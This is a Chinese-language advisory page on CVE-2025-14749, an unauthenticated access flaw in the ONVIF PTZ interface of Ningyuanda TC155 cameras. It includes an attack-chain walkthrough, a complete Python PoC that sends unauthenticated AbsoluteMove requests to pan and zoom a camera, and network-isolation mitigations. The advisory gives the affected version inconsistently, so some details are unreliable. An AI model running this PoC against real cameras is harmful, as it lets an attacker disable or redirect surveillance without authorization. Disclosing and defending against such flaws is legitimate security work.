IPBUF安全漏洞报告
English
CVE-2025-14749 CVSS 6.3 中危

CVE-2025-14749 | Ningyuanda TC155 ONVIF PTZ控制接口未授权访问漏洞

披露日期: 2025-12-16

漏洞信息

漏洞编号
CVE-2025-14749
漏洞类型
不正确的访问控制
CVSS评分
6.3 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Ningyuanda TC155 57.0.2.0

相关标签

CVE-2025-14749Ningyuanda TC155ONVIFPTZ控制未授权访问访问控制IP摄像头物联网安全中危漏洞本地网络攻击

漏洞概述

CVE-2025-14749是位于宁远达(Ningyuanda)TC155摄像头57.0.2.0版本中的一个中危安全漏洞。该漏洞存在于设备的ONVIF PTZ控制接口中,具体影响文件为/onvif/device_service。由于设备对ONVIF PTZ控制功能实施了不正确的访问控制策略,攻击者可以在无需任何认证的情况下,通过网络直接访问并操控PTZ(云台变焦)控制接口。攻击者利用此漏洞可以远程控制摄像头的云台转动、变焦调整等操作,可能导致监控视角被恶意改变、监控盲区出现等安全问题。该漏洞的CVSS评分为6.3,属于中等严重级别,攻击向量为邻接网络(Adjacent Network),意味着攻击者需要处于本地网络环境中才能发起攻击。由于该漏洞的利用代码已公开,且无需认证即可利用,因此具有较高的实际威胁性。值得注意的是,厂商在收到漏洞报告后未作出任何回应,这表明该漏洞可能尚未得到修复,用户需要采取临时防护措施。

技术细节

该漏洞的根本原因在于Ningyuanda TC155设备的ONVIF实现中存在访问控制缺陷。ONVIF(Open Network Video Interface Forum)是一个开放的网络视频接口标准,广泛应用于IP摄像头的网络通信。PTZ(Pan-Tilt-Zoom)控制是ONVIF规范中的重要功能,允许用户远程控制摄像头的水平旋转(Pan)、垂直旋转(Tilt)和变焦(Zoom)操作。在受影响的TC155设备版本中,/onvif/device_service端点对PTZ控制功能的访问控制验证不足,导致未经认证的攻击者可以直接发送ONVIF PTZ控制命令。攻击者需要构造符合ONVIF规范的SOAP请求,指定目标PTZ配置文件的URI,然后发送移动指令(如绝对移动、相对移动或连续移动)来控制云台。由于设备位于本地网络,攻击者可以通过ARP扫描或网络嗅探发现目标设备,然后直接向设备的ONVIF服务端口(通常为554或80)发送恶意请求。整个攻击过程不需要任何用户名或密码认证,也不需要用户交互,完全可以在受害者不知情的情况下完成。

攻击链分析

STEP 1
步骤1
网络侦察:攻击者位于本地网络,通过ARP扫描或网络嗅探发现Ningyuanda TC155摄像头设备,获取目标IP地址
STEP 2
步骤2
服务识别:识别目标设备开放的ONVIF服务端口(通常为554或80),确认/onvif/device_service端点可用
STEP 3
步骤3
获取PTZ配置:攻击者向设备发送ONVIF GetProfiles请求,获取可用的PTZ配置文件token信息
STEP 4
步骤4
构造恶意请求:攻击者构造符合ONVIF规范的AbsoluteMove SOAP请求,包含恶意的PTZ坐标参数
STEP 5
步骤5
发送攻击载荷:直接向/onvif/device_service端点发送PTZ控制请求,由于缺乏访问控制验证,请求被直接执行
STEP 6
步骤6
PTZ操控成功:摄像头的云台发生转动、变焦被调整,攻击者成功操控监控视角,造成监控盲区或隐私泄露

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import xml.etree.ElementTree as ET # CVE-2025-14749 PoC - Ningyuanda TC155 ONVIF PTZ Unauthorized Access # Target: Ningyuanda TC155 < 57.0.2.0 # Component: /onvif/device_service PTZ Control Interface TARGET_IP = "<target_ip>" ONVIF_PORT = 554 PROFILE_TOKEN = "Profile_1" # ONVIF namespaces NAMESPACES = { 's': 'http://www.w3.org/2003/05/soap-envelope', 'tptz': 'http://www.onvif.org/ver20/ptz/wsdl', 'tt': 'http://www.onvif.org/ver10/schema' } def create_ptz_move_request(profile_token, pan=0.5, tilt=0.0, zoom=0.0): """Generate ONVIF AbsoluteMove request for PTZ control""" soap_body = f''' <tptz:AbsoluteMove> <tptz:ProfileToken>{profile_token}</tptz:ProfileToken> <tptz:Position> <tt:PanTilt x="{pan}" y="{tilt}" space="http://www.onvif.org/ver10/tptz/PanTiltSpaces"/> <tt:Zoom x="{zoom}" space="http://www.onvif.org/ver10/tptz/ZoomSpaces"/> </tptz:Position> </tptz:AbsoluteMove> ''' soap_envelope = f'''<?xml version="1.0" encoding="UTF-8"?> <s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"> <s:Body>{soap_body}</s:Body> </s:Envelope>''' return soap_envelope def exploit_cve_2025_14749(target_ip, port=ONVIF_PORT, profile=PROFILE_TOKEN): """Exploit CVE-2025-14749 - Unauthorized PTZ Control""" url = f"http://{target_ip}:{port}/onvif/device_service" headers = { 'Content-Type': 'application/soap+xml; charset=utf-8', 'SOAPAction': 'http://www.onvif.org/ver20/ptz/wsdl/AbsoluteMove' } # Send unauthorized PTZ move command payload = create_ptz_move_request(profile, pan=1.0, tilt=0.5, zoom=0.5) try: response = requests.post(url, data=payload, headers=headers, timeout=10) print(f"[*] Request sent to {url}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text[:500]}") if response.status_code == 200 and 'Fault' not in response.text: print("[+] PTZ control command executed successfully!") print("[+] Camera pan/tilt/zoom may have been manipulated") return True else: print("[-] Attack may have failed or device not vulnerable") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": import sys if len(sys.argv) > 1: TARGET_IP = sys.argv[1] exploit_cve_2025_14749(TARGET_IP)

影响范围

Ningyuanda TC155 < 57.0.2.0

防御指南

临时缓解措施
由于厂商未响应漏洞披露,建议采取以下临时缓解措施:1)将受影响设备置于独立的网络隔离区域,限制非授权访问;2)在网络边界部署访问控制列表(ACL),仅允许受信任的IP地址访问摄像头ONVIF服务;3)监控网络流量,及时发现异常的ONVIF请求;4)如非必要,可考虑暂时禁用PTZ控制功能;5)关注厂商后续公告,及时应用官方发布的安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表